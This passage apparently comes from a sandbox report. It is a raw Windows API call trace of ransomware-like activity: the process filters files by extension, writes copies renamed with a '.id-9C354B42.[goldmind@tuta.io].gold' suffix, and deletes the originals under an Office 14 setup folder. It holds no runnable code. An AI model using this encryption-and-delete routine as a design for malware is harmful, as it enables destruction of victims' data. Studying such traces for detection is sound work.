lpString2="t.XML") returned -1 [0036.463] lstrlenW (lpString=".pdf") returned 4 [0036.463] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString=".xls") returned 4 [0036.463] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString=".xlsx") returned 5 [0036.463] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0036.463] lstrlenW (lpString=".ppt") returned 4 [0036.463] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0036.463] lstrlenW (lpString=".zip") returned 4 [0036.463] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.463] lstrlenW (lpString=".rar") returned 4 [0036.463] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString=".bz2") returned 4 [0036.463] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString=".7z") returned 3 [0036.463] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0036.463] lstrlenW (lpString=".dbf") returned 4 [0036.463] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0036.464] lstrlenW (lpString=".1cd") returned 4 [0036.464] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.464] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109 [0036.464] lstrlenW (lpString=".jpg") returned 4 [0036.464] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.464] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0036.464] lstrlenW (lpString="SETUP.XML") returned 9 [0036.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.465] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2624) returned 1 [0036.465] CloseHandle (hObject=0x1b0) returned 1 [0036.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0036.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.465] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.465] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.465] GetLastError () returned 0x0 [0036.465] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xa40, lpOverlapped=0x0) returned 1 [0036.466] WriteFile (in: hFile=0x1b4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0036.467] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.467] WriteFile (in: hFile=0x1b4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.467] SetEndOfFile (hFile=0x1b4) returned 1 [0036.467] CloseHandle (hObject=0x1b4) returned 1 [0036.468] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.468] SetEndOfFile (hFile=0x1b0) returned 1 [0036.468] CloseHandle (hObject=0x1b0) returned 1 [0036.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0036.469] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0036.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0036.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0036.469] lstrlenW (lpString=".doc") returned 4 [0036.469] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.469] lstrlenW (lpString=".docx") returned 5 [0036.469] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0036.469] lstrlenW (lpString=".pdf") returned 4 [0036.469] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.469] lstrlenW (lpString=".xls") returned 4 [0036.469] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.469] lstrlenW (lpString=".xlsx") returned 5 [0036.469] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0036.469] lstrlenW (lpString=".ppt") returned 4 [0036.469] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0036.469] lstrlenW (lpString=".zip") returned 4 [0036.469] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.469] lstrlenW (lpString=".rar") returned 4 [0036.469] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.469] lstrlenW (lpString=".bz2") returned 4 [0036.469] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.469] lstrlenW (lpString=".7z") returned 3 [0036.469] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.469] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0036.470] lstrlenW (lpString=".dbf") returned 4 [0036.470] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0036.470] lstrlenW (lpString=".1cd") returned 4 [0036.470] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0036.470] lstrlenW (lpString=".jpg") returned 4 [0036.470] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0036.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0036.470] lstrlenW (lpString=".doc") returned 4 [0036.470] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.470] lstrlenW (lpString=".docx") returned 5 [0036.470] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0036.470] lstrlenW (lpString=".pdf") returned 4 [0036.470] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.470] lstrlenW (lpString=".xls") returned 4 [0036.470] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.470] lstrlenW (lpString=".xlsx") returned 5 [0036.470] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0036.470] lstrlenW (lpString=".ppt") returned 4 [0036.470] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0036.470] lstrlenW (lpString=".zip") returned 4 [0036.470] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.470] lstrlenW (lpString=".rar") returned 4 [0036.470] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.470] lstrlenW (lpString=".bz2") returned 4 [0036.470] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.470] lstrlenW (lpString=".7z") returned 3 [0036.470] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0036.470] lstrlenW (lpString=".dbf") returned 4 [0036.470] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0036.470] lstrlenW (lpString=".1cd") returned 4 [0036.470] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.470] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0036.470] lstrlenW (lpString=".jpg") returned 4 [0036.470] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.470] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0036.470] lstrlenW (lpString="ExcelMUI.XML") returned 12 [0036.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.471] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=1565) returned 1 [0036.471] CloseHandle (hObject=0x1b0) returned 1 [0036.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 0x20 [0036.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.471] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.471] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0036.471] GetLastError () returned 0x0 [0036.471] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x61d, lpOverlapped=0x0) returned 1 [0036.472] WriteFile (in: hFile=0x1b4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x620, lpOverlapped=0x0) returned 1 [0036.473] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.473] WriteFile (in: hFile=0x1b4, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0036.473] SetEndOfFile (hFile=0x1b4) returned 1 [0036.473] CloseHandle (hObject=0x1b4) returned 1 [0036.474] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.474] SetEndOfFile (hFile=0x1b0) returned 1 [0036.474] CloseHandle (hObject=0x1b0) returned 1 [0036.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0036.475] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml")) returned 1 [0036.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0036.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0036.475] lstrlenW (lpString=".doc") returned 4 [0036.475] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.475] lstrlenW (lpString=".docx") returned 5 [0036.475] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0036.475] lstrlenW (lpString=".pdf") returned 4 [0036.475] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.475] lstrlenW (lpString=".xls") returned 4 [0036.475] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.475] lstrlenW (lpString=".xlsx") returned 5 [0036.475] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0036.475] lstrlenW (lpString=".ppt") returned 4 [0036.475] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0036.475] lstrlenW (lpString=".zip") returned 4 [0036.475] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.475] lstrlenW (lpString=".rar") returned 4 [0036.475] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.475] lstrlenW (lpString=".bz2") returned 4 [0036.475] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.475] lstrlenW (lpString=".7z") returned 3 [0036.475] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.475] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0036.475] lstrlenW (lpString=".dbf") returned 4 [0036.476] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0036.476] lstrlenW (lpString=".1cd") returned 4 [0036.476] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0036.476] lstrlenW (lpString=".jpg") returned 4 [0036.476] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0036.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0036.476] lstrlenW (lpString=".doc") returned 4 [0036.476] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.476] lstrlenW (lpString=".docx") returned 5 [0036.476] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0036.476] lstrlenW (lpString=".pdf") returned 4 [0036.476] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.476] lstrlenW (lpString=".xls") returned 4 [0036.476] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.476] lstrlenW (lpString=".xlsx") returned 5 [0036.476] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0036.476] lstrlenW (lpString=".ppt") returned 4 [0036.476] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0036.476] lstrlenW (lpString=".zip") returned 4 [0036.476] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.476] lstrlenW (lpString=".rar") returned 4 [0036.476] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.476] lstrlenW (lpString=".bz2") returned 4 [0036.476] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.476] lstrlenW (lpString=".7z") returned 3 [0036.476] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0036.476] lstrlenW (lpString=".dbf") returned 4 [0036.476] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0036.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0036.476] lstrlenW (lpString=".1cd") returned 4 [0036.476] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0036.476] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104 [0036.476] lstrlenW (lpString=".jpg") returned 4 [0036.476] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0036.476] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0036.476] lstrlenW (lpString="SETUP.XML") returned 9 [0036.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.477] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2296) returned 1 [0036.477] CloseHandle (hObject=0x1b0) returned 1 [0036.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 0x20 [0036.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.477] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.477] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0036.479] GetLastError () returned 0x0 [0036.479] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0036.480] WriteFile (in: hFile=0x1b8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x900, lpOverlapped=0x0) returned 1 [0036.481] ReadFile (in: hFile=0x1b0, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0036.481] WriteFile (in: hFile=0x1b8, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0036.481] SetEndOfFile (hFile=0x1b8) returned 1 [0036.481] CloseHandle (hObject=0x1b8) returned 1 [0036.482] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.482] SetEndOfFile (hFile=0x1b0) returned 1 [0036.482] CloseHandle (hObject=0x1b0) returned 1 [0036.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0036.483] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml")) returned 1 [0036.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0036.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0036.483] lstrlenW (lpString=".doc") returned 4 [0036.483] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0036.483] lstrlenW (lpString=".docx") returned 5 [0036.483] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0036.483] lstrlenW (lpString=".pdf") returned 4 [0036.483] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0036.483] lstrlenW (lpString=".xls") returned 4 [0036.483] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0036.483] lstrlenW (lpString=".xlsx") returned 5 [0036.483] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0036.483] lstrlenW (lpString=".ppt") returned 4 [0036.483] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0036.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML") returned 101 [0036.483] lstrlenW (lpString=".zip") returned 4 [0036.483] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0036.484] lstrlenW (lpString=".rar") returned 4 [0036.484] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0036.484] lstrlenW (lpString=".bz2") returned 4 [0036.484] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0036.484] lstrlenW (lpString=".7z") returned 3 [0036.484] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0036.484] lstrlenW 